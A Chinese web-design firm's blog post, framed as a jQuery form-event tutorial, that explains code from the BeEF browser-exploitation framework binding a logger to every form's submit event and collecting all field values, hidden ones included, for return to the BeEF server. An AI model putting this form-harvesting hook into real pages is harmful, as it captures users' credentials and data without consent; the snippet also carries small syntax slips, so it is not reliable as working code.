十三年专注于网站建设与互联网应用开发,低调、有情怀的网络应用服务商!
南昌百恒科技微信公众号 扫一扫关注
tel-icon全国服务热线:400-680-9298,0791-88117053
扫一扫关注百恒科技微信公众号

浅谈jQuery中使用表单事件的应用方法

百恒 2017-07-18 15:52:43 2965
       除了对所有元素监听键盘事件外,BeEF还针对所有<>(注:form 在尖括号里面)元素提供了自定义逻辑。通过使用jQuery的元素选择器,执行下面的代码,会在当前DOM中的所有表单的submit事件上绑定beef.logger.submit()函数,下面南昌网络公司小编就来为大家介绍一下其具体做法。
       $j('form').submit(
       function(e) { beef.logger.submit(e); }
       });
       beef.logger.submit()函数通过遍历表单,取出所有输入框的值(包括隐藏元素),然后把它们发送回BeEF服务器:
       /*** 只要有表单提交,就将激发submit函数*/
       submit: function(e) {
       try {
       var f = new beef.logger.e();
       var values = "";
       f.type = 'submit';
       f.target = beef.logger.get_dom_identifier(e.target);
       for (var i = 0; i < e.target.elements.length; i++) {
       values += "["+i+"]";
       values +=e.target.elements[i].name;
       values +="="+e.target.elements[i].value+"n";
       }
       f.data = 'Action: '+$j(e.target).attr('action');
       f.data += ' - Method: '+$j(e.target).attr('method');
       f.data += ' - Values:n'+values;
       this.events.push(f);
       } catch(e) {}
       }
       beef.logger.e定义了一种简单的事件结构,它可以兼容各种事件类型,比如鼠标事件、键盘事件等,便于将各种事件以统一的形式传回BeEF服务器。函数中的for循环用于遍历表单中所有的子元素。有一点需要注意,这段代码并未考虑表单字段中存在disabled属性的情形。
       以上就是南昌网络公司-百恒网络小编为大家介绍的关于jQuery中使用表单事件的应用方法,如还有哪些不明白的地方,可随时来电咨询,我们将竭诚为您服务。此外,如有需要南昌网站建设、微信开发、手机APP开发等方面的服务,欢迎大家和我们联系,百恒网络随时为您效劳!
400-680-9298,0791-88117053
扫一扫关注百恒网络微信公众号

欢迎您的光顾,我们将竭诚为您服务×

售前咨询 售前咨询
 
售前咨询 售前咨询
 
售前咨询 售前咨询
 
售前咨询 售前咨询
 
售前咨询 售前咨询
 
售后服务 售后服务
 
备案专线 备案专线
 
售后服务 售后服务
 
×